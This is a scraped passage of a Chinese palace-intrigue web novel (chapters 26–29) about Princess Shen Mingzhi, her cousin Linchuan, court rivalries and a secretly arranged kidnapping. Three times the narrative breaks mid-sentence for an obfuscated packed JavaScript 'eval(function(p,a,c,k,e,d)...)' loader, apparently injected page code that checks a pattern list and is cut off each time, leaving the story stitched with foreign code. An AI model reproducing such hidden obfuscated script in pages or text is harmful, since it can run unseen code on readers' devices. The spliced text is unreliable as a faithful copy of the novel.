“你!”长宁刚要蹦起来,就被窦晴柔和侍婢拉住,但动作还是太大,不巧撞到了边上坐着假装喝茶、实则看戏的长乐,一碗茶都泼到了她新定的当下城中最时髦的裙子上。 这下好了,一个炮仗引燃了另一只炮竹,同样一点就着的长乐摔了杯子大叫一声:“长宁你发什么疯!” “我发什么疯?你问问这两个疯子她们到底想发什么疯!” “我看着就是你想挑事!” “我挑事?你眼睛瞎了还是耳朵聋了!” 闹哄哄、乱融融,一会儿打口水仗,一会儿又撸起袖子要干仗,像是一大锅子里炖得噗噗直叫的沸水,热气喷得满屋子都是,还时不时有人添把火、加把柴、淋点油,直闹到前厅宫女战战兢兢来禀:“要开席了,请诸位……” 纵使宫女早已对后宫各位公主之间的恩怨见怪不怪,今天这么大的排场、这么重要的日子,这番局面还着实让她再度开眼。 趁乱,始作俑者之一的辛莘深入敌穴,与长宁长乐愈战愈勇,而临川早得意洋洋地拉着沈明枳逃到了最边上,不时点评点评这一场闹剧,悠然自得的模样,让沈明枳直觉得这些人都有点可怜:都是不敢向凌云重龇牙的临川用来撒火泄气的。 “别和我说,你已经知道宣国那档子破事了。”带着沈明枳从席面上偷闲出来的临川很是兴奋地望向她,很是期待她困惑好奇的反应。 沈明枳无奈,但她今日心情尚可,愿意装出一副很低劣的求教模样,顺着这个小祖宗的意思问道:“她怎么了?” 临川笑得很雀跃,竖着指头指着头顶上、挂在树梢的宫灯,“玩火自焚。” “哦,具体点。” “宣国是什么货色你也知道,仿佛上辈子是个阉人,这辈子最爱强抢玷污清白人家的俊俏儿郎。结果呢?这次遇到横的了,小年轻拼死逃出,毒誓报仇,还揪结了一伙深受迫害的、或被残忍抛弃的前‘面首们’,在城外双塔寺把正花前月下的人绑走了,过了七天又把人扔在了兴化、延平交接的闹市路口,那里人多的真是,去了都没地方下脚,贩夫走卒、三教九流,什么人都有,哎呦——” 临川扬唇大笑:“至于七天后,风流成性、欲求不满的宣国身上多了些什么“伤”,懂得都懂。” 26. 第二十六章 肉食者 沈明枳并未被临川拙劣的叙述逗笑,但还是弯了嘴角温声问:“京兆尹和皇城兵马司都是吃素的吗?” 临川很肆无忌惮,“人突然不见了,大家都以为她又去风流快活了,以前又不是没有过,后来发现不对劲,谁又敢声张啊,缩手缩脚地开始找人,然后人自己就出现了。” “那绑匪又是怎么被抓的呢?”沈明枳话虽温和,眼神却越发冷冽,所幸临川注意不到,正手舞足蹈地给她还原当时的生动场面:“这时候就不得不提咱们魏王老三的好妹妹长乐了,她那一嗓子下去,整个化隆还有谁不知道‘宣国公主幽会面首结果人没了’?圣上气得把赵王、寇妃狠狠骂了一顿,直接让锦麟卫接手去找人……” 临川说着,觉得“锦麟卫”这三个字晦气,于是“呸”了一声,又接着道:“人抓住了直接下的诏狱,就不打算让刑部插手——” 说罢,临川意味深长地看了沈明枳一眼。 沈明枳挑眉,明眼人都看得出来,这是专门挑了郇寰出差的空档来整赵王。 郇寰离不开赵王,赵王也同样离不开郇寰。离了这把刀,宣国公主养面首养出事故了,刑部被视若无物了,案子还落到了锦麟卫手上,赵王一派吃了瓜落、罚了禁闭,连带着得罪了“办事不利”的京兆府和皇城兵马司这群惹不起的爷儿。 沈明枳记得几年前,她和郇寰还在议亲时,宣国养面首就已经擦了火。沈明枳是亲眼瞧着郇寰干净利索地把案子处理得滴水不漏,虽然宣国本人还是被罚了禁闭,但沈明枳有理由怀疑,宣国后来多受的训斥和罚款,不是同样好养面首的鲁国长公主在圣上耳边吹的风,而是向来记仇的郇寰心里不爽快,使了坏。 因为大家都很清楚,宣国这颗炸弹,在恰当的时候就会有意想不到的奇妙威力。而郇寰劝了赵王多次无果,且因宣国在圣上那里将赵王的形象抹黑,导致他差一点被踢出待选驸马的队伍、数月的努力付诸东流。凭沈明枳对郇寰粗浅的了解,挟私报复的可能极大。 能让宣国记住教训也是件好事,可惜没有。 沈明枳觉得她也有必要点一点临川,因为,不仅她的母亲鲁国长公主豢养面首,她这个做女儿的也上行下效、有模有样。 不过她话没出口,一个眼神,临川就全然明白了,但如旧地很不以为意:“我知道的,毕竟和你在一起这么久,我很有分寸的,什么人能招惹,什么人不能招惹,我门儿清!你放心好了。” 她越是这么说沈明枳越不放心,但架不住临川一个撒娇的口吻要转移话题:“诶诶,有一个好消息、有一个坏消息,你要先听哪个?” 沈明枳招架不住她,“好消息。” “义律请求和亲,圣上答应了。” 沈明枳蹙眉,“这算哪门子的好消息。” 临川拼命地朝她眨眼睛,她无奈问:“坏消息?” “长宁定婚了。” “这又算哪门子的坏消息。” 临川挥了挥手,似是可以用手在空中把沈明枳的牢骚全都驱赶干净,“我还有一个好消息和坏消息。” 沈明枳服气地选择:“坏消息。” “长宁和张四郎定婚了。” 沈明枳的眉毛一挑:“好消息?” “张四郎和长荣搞在一起了!” 沈明枳:“……” 沈明枳:“?” 沈明枳:“!” 见了沈明枳这幅模样,临川的尾巴真的要翘到天上去了,“别问我怎么知道的,问就是缘分!老天都要助我!” 就这一瞬,沈明枳心里百儿八十个念头如流星划过,訇然坠落。她觉得自己强打起来的精神真的都要被这个磨人的小妖精给吸了去,在自己眼前上蹿下跳的同时还拉着自己上蹿下跳。沈明枳很是疲惫地揉了揉酸痛的腰背,长长叹息一声,“肉食者鄙,又何间焉?” “哎,没有我推波助澜,还不能成得这么快呢!但凡能让长宁不痛快的,我都痛快!鄙什么鄙,该出手时不出手才是鄙陋!” 正当这只叫临川的小猴子“欲上青天揽明月”,叫嚷着“敢教日月换新天”时,沈明枳随着她蹦蹦跳跳的节奏绕过一大树花草,直愣愣地看见,十几步远,昏暗的石榴树下,模样甚伟的一个男人,正偏过头,探究地盯向她们。 沈明枳吓了一跳,但比临川镇定许多,很客气地上前一礼,“原来是凌副使。” 临川的心都快从嗓子眼跳出去了,手忙脚乱地把五脏六腑归回原位,只能装作很傲据地乜斜一眼,内里呐喊着祈求这尊大佛赶紧滚回西天。 “臣凌膺拜见兖国公主、临川郡主。” “凌副使不必多礼。” “谢公主。” 沈明枳很客套,凌云重很公事公办,只有临川很不淡定。 沈明枳真是觉得这丫头今天吃错药了,合该她好好修理修理了。 凌云重不过一个锦麟卫指挥副使,你没犯在他的手里害怕个什么劲! 等那个背影彻彻底底地融入夜色之中,临川直接投入了沈明枳的怀里,累得她腰都要折了。 “下去!我还没你重呢!” 临川依依不舍地退开了两步,扯着咬牙切齿揉着腰的沈明枳,话都说不利索:“怎么办,我刚刚……我刚刚说的话他不会都听见了吧!” “你怕什么,凌云重素有忠直耿介之名,左右不靠,你还怕他告密?”沈明枳真的觉得,那股从四肢百骸涌上来的酸痛即将攻陷她的理智,忙推开拦路的临川,步履匆匆往宫前殿旁的小花园外去,强忍着逐渐犯上来的恶心,强迫自己去盘算如何合理利用长荣、长宁和张四郎间的三角关系以实现利益最大化和风险最小化…… “可……可是……” “可是什么?你心虚什么,你行得端坐得直,‘最有分寸’‘最让我放心’了,你还怕他拿你求告到他面前的事情大做文章?放心,他手上案子多,没工夫整你,要整也得先整让锦麟卫进退两难的宣国……” 临川被激得终于忍不住了,自暴自弃,颇有破罐子破摔的架势,她大叫一声:“鹇儿!” 头一回被临川用这样的语气喊自己的小名,沈明枳停下脚步,倏然回过头,用一种“你找死”的眼神端详她。在被沈明枳处置和被凌云重修理之中,临川选了前者,她是彻底灰心丧气了:“我好像——调戏了他?” 沈明枳对调戏的过程很不感兴趣,但是,临川偏要“绘声绘色”地给她还原出来: 化隆第一大酒肆极乐坊的观沧海是临川郡主包下的房间。四处碰壁灰头土脸的临川打算回自己的旖旎地抚慰一天的失意,其实她出门的时候已经有点醉了,于是喝着喝着,哭着哭着,进错了房间。 恰好当时几个锦麟卫办完差,收工回衙,就留下明日要休沐的副使凌云重独自小酌几杯。估计是上峰逼得太紧了,铁面阎罗也有压力大要发泄的一天,心情极差的时候忽然有一团肉乎乎、醉熏熏的东西撞了过来,亏得是烈酒麻痹了神智,凌云重没有一脚把来人踹出门外,就见哭得梨花带雨,不,哭得落花流水的临川正攀着他的肩背,瞪大眼睛,出神地看着他。 一会儿,这失智的丫头似乎是认出了这个不速之客,就在打算鸠占鹊巢反客为主地下逐客令前,一个想法划过脑海:锦麟卫神通广大! 然后就是:阴阳卫一群废物! 最后是:你知不知道我的宝贝鹇儿的下落? 她确实也坦诚地将心里的想法付诸言辞了。 然后在凌云重厌嫌的“不知道”三个字回复后,许是这张常年只能远观不得亵玩的脸贴得太近,临川鬼使神差地耍出了她诱骗,不,是撩拨年轻儿郎的惯用伎俩:“不知道没关系,来,本宫来教你!” 沈明枳在搞清楚为什么一个烂醉如泥的人对这些细节了如指掌之前,搞清楚了一件事,那就是她这辈子也不会允许自己喝醉了。 她再度叹息,将赖在自己身上的人“粗暴”地推开,“今儿见了他两次对吧。” 临川越挫越勇,疾步追了上来,“对,明天不会见他四次吧!” 然后,蓦然一个转身,沈明枳苦口婆心地劝道:“我在辋川有一个庄子,你可以去避一避,等什么时候凌云重败落了你再回来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但就是下令的一瞬,就像是猪油蒙了心,沈明枳居然将画拦了下来,说是要亲自盯着把画烧干净。她们觉得沈明枳的小心是合理的,又觉得责任从自己的肩膀上挪到了主子身上万分幸运,便也没有人再提。结果自然是,这画完好无损地被沈明枳收了起来。 她记得郇寰提起过一个地方,她从郇寰提起时的眼神里猜出几分端倪、几分期待、几分兴奋、几分不可能存在的幻想。 南巡一趟回来,她沈明枳也今非昔比了,郇寰是早就料到了,故而想早早用那般美好的未来构想来麻痹她吗? 沈明枳自嘲地摇头。 抿起的唇角尽是对自己过分猜疑的嘲讽。 沈明枳收拾东西的响动引来了隔间的月珰。 “殿下起来了?”月珰的声音就如她的名字一般,是如月的珰石清脆碰撞的叮当。 沈明枳将画放入了床尾一个不起眼的黑漆箱子里,掀起纱幔,走入了满屋子潋滟的霞光里。 “奴为殿下梳头吧。” “两府都还好吧。” 昨天下午一回来,沈明枳倒头就睡,晚间回来,主仆俩也来不及仔细叙旧交接,直到了今天,月珰总算有机会和她说句话:“是,一切安好。” 说着,月珰放下手中的梳子,从心口处中衣内缝着的口袋中取出一封信来,抹去上面的细密的褶皱,一如沈明枳九个月前郑重交付给她时一样,恭敬奉还。 目光从镜子中面色憔悴的自己移到这封信上,沈明枳有些恍惚。 她接过这封不过一张纸的信,却觉有千斤重,里面裹着的不是一张普通的纸,而是她这辈子仅存的信任、她发誓永生追随的志向、她割掉良心也剜不干净的善妄、她彻底的失望、她的拼死挣扎、她的不甘、她曾经的欢乐时光…… 她活着从南海道回来了,而这些又要再度安放到自己的身体里。 “烧了吧。” 其实这是张白纸,什么也没有写。像她这样的人,怎么可能安心将自己的秘密藏入遗书,交付到另一个人的手中。 月珰小心应是。 27. 第二十七章 想发疯 “戒子月末就要出宫入主晋王府,你选些可靠的人拨去侍奉。” “是。” “孙先生安排好了吗。” “奴让孙先生暂时委屈在栖凰山庄。” 沈明枳想了想,“那附近都是自己人,他若想出门上山不必拦着。” “是。” “驸马那儿有什么新消息么?” 月珰谨慎地瞥了她一眼,“有,去了趟苏州。” 沈明枳拧眉,心里早有了计较,却不多问,等月珰斟酌过言辞,拿捏起十万分小心地解释:“是去请一位很有名望的仵作。” 沈明枳了然,“哦。” 果然还是她。 在苏州时沈明枳就查过郇寰,从他办的案子后续来说,这女仵作的验尸格目对案子的侦破起到了至关重要的作用,竟是用着比刑部的那些老仵作还要称手。直到快入化隆,沈明枳这才从吏部调到了郇寰下江南道出差的履历,每逢南下,必请其为自己验尸,而他南下出差自诩逢案必破,也有几分这仵作给的底气。 那个传闻中的官爷,就是郇寰,合情合理。 又有本事又有样貌的姑娘沈明枳也喜欢,除了出身差了一点,沈明枳想不出郇寰有什么理由会不动情的。他又是个事事都要算计清楚的,世家出身就决定了他的婚事不能草率、也不能浪费,故而他不能娶她,甚至不能纳她给自己添乱,他需要一个好名声以便将来用自己的婚事博取最大的利益。 其实一点沈明枳想不通,既然这女仵作用得这么称心如意,郇寰为何不把她带回化隆?可在这个世道下,给她说一门既合适又不妨碍其验尸的亲事简直是异想天开,让冬至抑或是郇杭娶了她也不失为一个安顿的好方法…… 沈明枳自嘲起来。 她糊涂了,对于这样有本事的女子,郇寰大抵是敬佩的,“强求”二字是绝对不会对她说的。而见过郇寰这种状似如圭如璋、且与自己志趣相投的男子,那女子大概也不愿意委身旁人了。 然此生不负卿卿,外室便是剩下的选择了。 而对于那个女子来说,按照她那种艰难的境况,这辈子打着灯笼也找不到比郇寰更好的归宿。她逃不出世俗、过不上独属于自己的日子,跟了郇寰最多损失点早就碎得不成样子的名声,得到的则是绝对的自由和此生顺遂,对了,如若她从事仵作是因为喜欢的话,那她简直是,赚翻了。 果然合情合理。 月珰小心观察着沈明枳的神色,平淡如故,更加惶恐,纠结着如何向她说出接下来一个更加惊天动地的“好消息”。 沈明枳睨了她一眼,“还有什么‘好消息’一并说出来吧。” 月珰躬身要跪,“奴瞧着殿下身子不舒服,在殿下休息后,自作主张请孙先生来为殿下看诊,请殿下责罚。” “我自己不珍惜身体,你关心我,有什么好罚的,别跪了。” 月珰抿唇,在沈明枳越发奇怪的注视下,一字一句地说:“孙先生说,殿下有身子了。” 一瞬。 两瞬。 三瞬。 沈明枳愣了愣,下意识低头看向自己平坦的小腹。 那里竟然还孕育着一个孩子? 她呆滞了很久,僵结的思路才慢慢活络。 这算什么?羁绊吗?老天爷是在用这个孩子的存在来告诉自己,你不是一个人吗? 可这样的陪伴又有什么意义? 沈明枳笑不起来,又不能哭。 月珰知道沈明枳心情不好,不敢再说,只垂手立在一旁静静等着,等沈明枳从自己的世界里清醒过来,再将接下来更令人失落的消息告诉她。月珰难以抉择,自己该从一个母亲的角度还是一个孩子的角度来陈述这样沮丧的事实——这个孩子不能出生。 沈明枳在南海道的这八个月,受了各种伤,还中了各种来路不明的毒,且她出发时就已经伤了根本,绝对是经受不住怀胎十月的辛苦和生产时的痛苦。而对于这个孩子,即便他出生了,也会带着各种打娘胎里就种下的病根,畸形、痴呆、孱弱,哪一项都能要了他的性命,甚至于他根本等不到出生就会胎死腹中。 他不该来到这个世上受苦,也不该让爱他的人一并受苦。 沈明枳长长叹了一口气,制止了月珰的话头,“我都知道,不必多说。” 她起身,“收拾点东西。” 月珰一愣。 临川受了沈明枳的启发,麻溜地收拾了东西跑到城外庄子上避难,不过半日,沈明枳也来了。刚回化隆的这一段日子最是忙碌,兖国公主府前车水马龙,拜谒、攀亲之人络绎不绝,沈明枳早就料到会有这样一劫,打着修养的旗号跑到临川处躲上一躲也是个不错的选择。 因为她不便公然结交,不便明着和朝野里的势力有任何纠葛。她本来就是东宫出来的,是养在皇后身边的,本就和故太子一脉有着千丝万缕的关系,嫁给郇寰之后赵王派的那些老家伙们也无法全然放心,尤其是沈明枳在宫里向来有机敏聪慧的名声,在内阁那群状若无物的老臣中口碑也还不错,故而他们很担心自己会做出什么有损赵王利益的事情转而去增益羽翼尚薄的晋王。 临川脑子不笨,但她不想废这么多心力去琢磨这些弯弯绕绕,况且她现在正着迷于如何向长宁报她们两个幼年时结下的深仇大恨,更没工夫管沈明枳身上的是非。 她围着躺在长椅上小憩的沈明枳打转,隔着衣裳,死死盯着沈明枳的小腹目不转睛,口里不停地念着:“畜生啊!畜生!” 沈明枳最烦有人打扰她休息,尤其是脑子里一团浆糊、急需一个整理思绪的机会时,哪怕是亲近如梅如故也要吃她一顿臭骂,何况是一日不被她训就浑身不畅快的临川。但临川赶在沈明枳发作前,居然大发雷霆起来:“郇海山真是个畜生!不对,畜生都不如!” 沈明枳眉头一跳,睁开眼睛,就见临川叉着腰,正打算中气十足地朝庭下的落水瀑布大吼一声以发心头的烦闷,结果余光瞥见自己,估计也看见了自己算不得好看的脸色,便讪讪地住了嘴,坐回了摇床上。 “发什么疯?” 临川叹气:“替你发疯。” 沈明枳坐起身,“我有什么好发疯的。” 临川学着沈明枳惯爱挑眉的样子,语带得意:“反正我就知道你也想这样发疯就只是你不允许自己这样发疯,那就我替你发疯好了。” 沈明枳被这番强词夺理逗笑了,正要说“那你发疯吧,我看着”,就见临川忽然起身,双手捧住自己的脸颊左看右看,看得很认真,似是看出了个什么所以然,随后点点头道:“凡事有因有果,郇海山虽然不如畜生,但他眼睛还是好的,还看得出我家宝贝鹇儿嫁了人后更有味了呢。也是,哪个正常男人会不喜欢这样的,不怪前几天义律的呼延小世子还四处打听你嫁没嫁人呢。” 沈明枳皱眉,刚被巧言令色的她捂热乎的一颗闲心又凉了下来,一把拍掉她不安分的手,严肃问道:“呼延炳?” 临川却没有收起玩笑的心思,“是啊,也幸亏你早就嫁了不必去和亲,但长荣估计要倒霉了哦——” 大楚和义律停战议和本是天大的好事,早在沈明枳南巡回来前就订好了盟约,阎野放一行人昼夜兼程也是为了此事,但对于宫里尚未出嫁的公主们来说就是飞来横祸。 “不过这小丫头胆子也真大,平日里一句话也不说,办起事来这么利落!”她乜斜一眼沈明枳平坦的腹部,“指不定她还要生在你前头。”临川说着说着,满脸都是贼兮兮的兴奋,随后又幽幽叹气,“哎,现在的问题是,我该怎么样把长宁送去和亲呢?” 她兴奋地搓着手,嘴里嘟囔起来:“长宁和张四郎订婚了,结果张四郎和长荣搞到一起了,结果还把长荣的肚子搞大了……那么长宁的婚事是泡汤了,长荣的话,他们总不能逼她堕胎吧,宫里也没有别的适龄的公主了,他们总不能把丁点大的长华小妹妹送出去吧——” 临川一拍大腿骂了一声:“那些畜生还真的可能这么干!” 沈明枳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是现在,沈明枳的怒斥那么低哑,她甚至是还半躺在椅子上处于一个弱势的姿态,临川却能真切的感觉到,沈明枳是真的动怒了。 过了很久,等临川脑子转了过来,意识到自己这回无意间真的闯入了沈明枳的禁地、犯了她的忌讳,开口有恐有忧有歉地说“对不起”时,沈明枳也缓了过来,从这股直要将她整个人都炸开的愤怒中缓过来之后,直接陷入了无尽的痛苦。 姑且将所有能让清醒自持之人逼得凶相毕露的人或事都称为她的软肋。 有很多事或人都会让她情绪失控,但随着她一天天地强大,她已经将归属于软肋之中的人或事一件件地驱逐,此时若有情绪脱缰的时候,她应当感到恐惧,而后更加奋发地去战胜这样的恐惧、将自己的软肋圈越缩越小。 可这次不一样,就像过去无数次触及这段往事一样,她只感受到了痛苦,痛苦之中充满了软弱和愤怒。 仿佛战无不胜她根本赢不了这样的心魔。 “对不起,鹇儿……我下次再也不会了……” 沈明枳忍着心口泛上来的潮涌,扶着椅子摆摆手,张口想说点什么缓和这样破碎的氛围,却发现自己什么也说不出来,且张口的瞬间就闻见了淡淡的血腥味。 又过了片刻,等庭下瀑布水声越发地轰鸣,沈明枳侧过身重新躺回了椅子里,咽下血气虚弱地安抚起临川:“祸从口出,你下次千万别再犯了。” 临川绞着袖子点点头,知道沈明枳想休息了,便招呼了一声,蹑手蹑脚地退出了屋子。 除了清冽的水滴可能会溅到沈明枳枕在椅背上的脸颊,庭下没有一丝熏风。可沈明枳就是觉得,自己吹到了粗劣的北风,风中还有棱角分明的沙砾,磨得她生疼。 月珰立在廊下,见临川面色如土,朝自己苦笑一下,漫无目的地走了几步又退了回来,“鹇儿她……她还那么想她吗?” 话出了口临川又觉懊悔。沈明枳的反应已经解释得清楚,她还莫名其妙地找月珰说这些做什么。 28. 第二十八章 寇一爵 月珰蹲身朝她行礼,刚想开口说“大公主是第一个爱殿下的人”,顿觉自己胡言乱语。 第一个爱殿下的,应该是将殿下抱到坤宁宫交于皇后抚养的圣上,若不是圣上,殿下如何遇得见大公主。 她真是月珰所见,天地间难得的温柔,也是吃人不吐骨头的后廷里,仅存的善良。 本初之善,即为愚善。 连月珰也要为她叹息。 月珰是幼年卖身入的宫闱,父母兄弟姓甚名谁都不知道,只知道,世上无良人。可自从她来到沈明枳身边,就得见大公主对所有人的温良。她一个宫婢尚且忘不了这个女子,何况得大公主视若心肝、珍重以待的沈明枳。 月珰默认,听临川望着瀑布飞流,失神地叹息一声:“我都忘了她的模样,她很早就走了,鹇儿还能这么记得她……” 是啊,大公主都已经走了很久了。 临川问得惆怅:“她出塞时我们才多大?” 月珰接话:“殿下七岁,郡主十一岁。” 临川不由得惊讶:“竟然已经这么大了,可七岁以前的事情我早不记得了,就算是十七岁以前的事情,我也没多少记忆了。” 失去已然让人痛苦万分,忘却则又痛不欲生。然则临川的童年,应该已经算得上欢乐,成年过后的日子更是肆意灿烂,故而她说起“遗忘”,便尝不出那种淡若白水却又回味苦涩的伤感,便也理解不了,那样一个早就随风远去的人,是如何让旁人念之断肠的。 “作恶的享富贵又寿延!真是便宜宣国了,好在她自作自受,老天还是有眼的……” 月珰刚在出神,听了临川这样有些扬眉吐气的话,不由得更添伤心。 自作自受?苍天有眼? 月珰看临川兀自出着气,居然还有几分很早就在沈明枳身上销声匿迹的稚气。 天道幽且远。 这是殿下最常念的。 兖国公主府的暗卫,几乎都被带走南下,留在化隆的则由她全权管辖,宣国公主绑架案就是她按照殿下的指示策划的,全是人为,何来天意。 早先暗卫去双塔寺附近踩点,居然被一个青竹山居的面首给发现了,不得已杀之灭口,又亏得殿下让他们早作准备以防万一,让踩点的暗卫换上宣国公主护卫所穿的特制的靴子,又恰巧那面首是个被弃的,他出现在双塔寺附近也可解释成“望主垂怜”。若强说天意,这便是天意吧,案子虽然从京兆府移到了刑部,万幸没有人看出破绽,让打草惊蛇之中被惊住的蛇仍然一意孤行,终落入了捕蛇者的圈套。 若非殿下愿意铤而走险,那而今真的就要如临川郡主所说,作恶的享富贵又寿延。 临川踢了踢脚下磨得光滑的石子:“这齐珏也是自找的,那样温柔大方的公主不要,偏要和这个贱蹄子媾和,倒方便了宣国挺着孕肚到靖安侯府逼婚……” 两三年前,化隆城的世家小姐间曾流传过这样一段俗谣:喜文的,寻花问柳;好武的,露宿桥头。 这讲的是当时八个仪表堂堂、尚无家室、前途无量的年轻郎君。打头阵的“寻”就是驸马郇寰;“花”与“问”都是当今数一数二的大才子华嵘、文道;“柳”则是都察院左都御史柳曦既……但将这八个人、连带着已婚的、前化隆第一才子、现临川知府梅如故一起打包,都顶不过靖安世子齐珏年轻时的惊骇尘寰。 因为这九个人,都败在了“纯粹”之上。 在现在已成为靖安侯的齐珏身上,已全然看不出那个时候纯粹之至的风流潇洒,但他还是秦王老九曾立下的最远大的理想。 因为傲人的出生,他有资格去“纯粹”,纯粹地和太子妹妹谈情说爱,纯粹地和赵王姐姐风花雪月,纯粹地对谈婚论嫁之事避而不谈,仿佛在他的人生里,他对任何女人都没有责任。 然后,边疆打仗,义律请和,大楚和义律要和亲了。 和亲也就罢了,大公主是大楚皇室里最尊贵的公主了,义律就算要看在两国边交也不能苛待她。可义律不仅虐待她、侮辱她,还践踏她的尊严、剥夺她的善良,仅仅是因为,她已非完璧。 临川骂得起劲,连齐侯世子都骂了进去,但瞧着模样,她并不知道这件事。 月珰也是当年,跟着不信邪的殿下出宫才知道的真相。 那时候接到边关来信,圣上大发雷霆,但这样有关皇家颜面的阴私之事不能让外人知晓,圣上不能对使节发火,更不能对手掌兵权的齐家发怒,只能朝皇后大骂。殿下是养在皇后身边的,也是大公主和故太子一起栽培的,得知此事自然不信。 于是那个晚上,已经用宫规将自己逼得非常规矩的殿下,胁迫了当年的长缨卫指挥使韦不决,溜出了宫,直奔靖安侯府。齐珏自然是否认的,就算是为了逃避谴责也会矢口否认,但月珰觉得,他没有说谎。 不过关于齐珏说没说谎这个问题很快就迎刃而解了,因为回宫的路上,得知此事的宣国公主,居然得意洋洋地跑到殿下面前“炫耀”,丝毫不认为,自己认下找人糟蹋大公主这样的罪过,会招来年纪尚小的小丫头什么毛毛雨般的报复。 临川骂得累了,径自出了小院,仿佛骂完之后,方才因为口不择言惹怒沈明枳的惶恐也随之远去。 郇寰面圣奏对、回刑部处理好公务后,在东直门甬道上遇见了急诏回京的苏悯。骁骑卫指挥使王知蔚在侧,本就神色冷淡的苏悯不得不讲虚礼,换过基本的礼数后就拖着王知蔚拐上了前往兵部的小路。 文臣武将,又本是八竿子打不着的两个人,郇寰和苏悯第一次见在一场开春后的马球会,不过那时郇寰是冲着沈明枳去了,和苏悯也没说上话,谁料第二次相逢,居然会是这等光景。 郇寰方才因休假而略微松快的心情又糟糕起来。 不过让他心情更糟的是,他在赵王府的大门口遇上了寇一爵。 “郇侯回来了?”寇一爵朝他虚虚一礼。 郇寰没工夫和他纠缠,换了礼节就要往王府走。寇一爵两步赶了上来,笼了袖子笑着与之并肩:“既然同路,那就一起吧。” 王府管家亲自前来,朝两人施完礼,就要引郇寰往赵王的书房去。郇寰见寇一爵还笑着立于原地,便道:“寇郎中所言差矣,你我并不同路。” 寇一爵一欠身,并不答话。 但不过片刻,嘘寒问暖完的赵王叫进来了寇一爵,寇一爵一入书房便又笑道:“郇侯所言差矣,你我终究殊途同归。” 郇寰看向了面色讪讪的赵王,心里一下子全明白了。近来本就心神不宁的他,骤然给这荒谬的局面气笑了,“原来如此,居然是你。” 寇一爵自己捡了椅子坐了下来,慢条斯理地折起袖子,戴上最完美的笑容面具,朝郇寰点头:“不错,正是鄙人。” “郇某以为我的那封信与你掰扯得足够清楚了。” 话一出口,郇寰想到了那时冬至所劝,苏悯未必领情,胡全德也未必领情,结果最不领情的居然是赵王府,不不不,赵王领情,但寇一爵不领情!这一下他就真成了吃力不讨好的人,苏家之行也已白来,什么筹算谋划通通作废。 寇一爵一靠椅背,“是,郇侯是二甲登科的传胪,各种道理自然说得一清二楚。” 赵王听了话头不对,刚想出声阻止,就见郇寰一甩头,轻笑一声回应寇一爵的不阴不阳:“既如此,寇郎中也是二甲登科的进士,怎么,这点道理也看不懂吗?” “呵,郇侯啊,你判惯了人命官司,坐惯了高台车架,脚下的泥路少走了吧?修路通渠讲究一个‘因势利导’,当官做事也不过‘因地制宜’,路行此处哪有掉头折返的道理?众人烧柴,火势汹涌,哪有凭你一人决断就另起炉灶的?苏家不灭,有违王法,为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寇一爵大笑两声:“术业有专攻啊,鄙人身在工部营缮清吏司,这漉水爆炸案可插不了手,还必须得由郇侯您这个酆都官亲自去一趟,至于接下来田亩烂账,鄙人碍于郇侯面子不便明示,谁曾想案子办成了这样,实在看不下去,这才向王爷请命。” 赵王更觉惭愧。 “其实吧,我身在工部要以协理办案的名义南下漉水也行,只不过这样一来,郇侯您就去不成了。若非知道您也在苏州,现今夫妻分居兖国公主却有了身孕,旁人倒不知这孩子的爹究竟是谁了。” 一息。 两息。 三息。 赵王心思通透,反应也迅捷,赶在郇寰动怒前呵斥道:“寇一爵!你住口!你听听你自己在说什么!这是你一个士大夫能说出来的话吗!” 郇寰如何听不出来,赵王是夹在中间两边为难,既不能伤了自己的脸面,还要给寇一爵体面。若他真觉得寇一爵胡言乱语脏污了官绅体面和文人气节,那他该骂的是寇一爵私议皇家阴私、抹黑公主名誉犯律,而不是在这里和稀泥! 至此,郇寰反倒彻底冷静了下来。他一直觉得寇一爵聪明,就算不是大智慧也总不至于常犯糊涂,可现在看来,他简直蠢得令人发指。是他高看他了,既然他不愿体体面面地与自己说话,那他也不必顾忌什么脸面尊严。 郇寰起身,赵王即刻温和问道:“天色晚了,留下来用饭吧?” “谢过王爷好意。”郇寰退开一步,拱手一礼,旋即大步朝门口走去,路过还坐着的寇一爵时顿住脚步,“寇一爵,这么和你说吧,你觉得样样输给我都是运道不佳?实话告诉你,旁的事不说,就算当年长平公主选驸马没有我、抑或者有我而不选我,不论选宁晨铎还是选楼复,她都不会选你。你若不信,那好,就看这次,就看苏德惜服不服气。肥羊早晚要杀,你赌早,我赌晚,瞧着吧。” 29. 第二十九章 千金地 化隆城北会芳池岸的极乐坊一向是达官贵人饮宴作欢的欢乐乡。但因为极乐坊新东家觉得过重的脂粉气平白侮辱了会芳池的烟柳画桥的工巧,故而那几年来的极乐坊被整顿得愈发清高,在这西池畔一条花街柳巷之中鹤立鸡群,不远处菁明书院的一些薄脸皮的学生们也更愿意多来了,生意是越发得好。 但实际上,这时的极乐坊和以前的极乐坊或者是一墙之隔的秦楼楚馆,并没什么两样。 故而郇寰轻车熟路往千金地走时,刚被隔壁大敞着房门的包厢里的喧腾给震到了,又见凭栏远眺的那个月白长袍的年轻人有些眼熟,走近了才发现,居然是才出现在自己话中的宁晨铎。 宁晨铎见了他倒不显诧异,颔首与自己打了招呼,旋即就走回了另一间略显死气的包厢。 郇寰重重扣了扣门,门内居然没好气地传来一声问:“谁啊?有手有脚,自己进来。” 即刻,又响起了更加起劲的摇盅和呵数声:“大!大!大!” “小!小!小!” 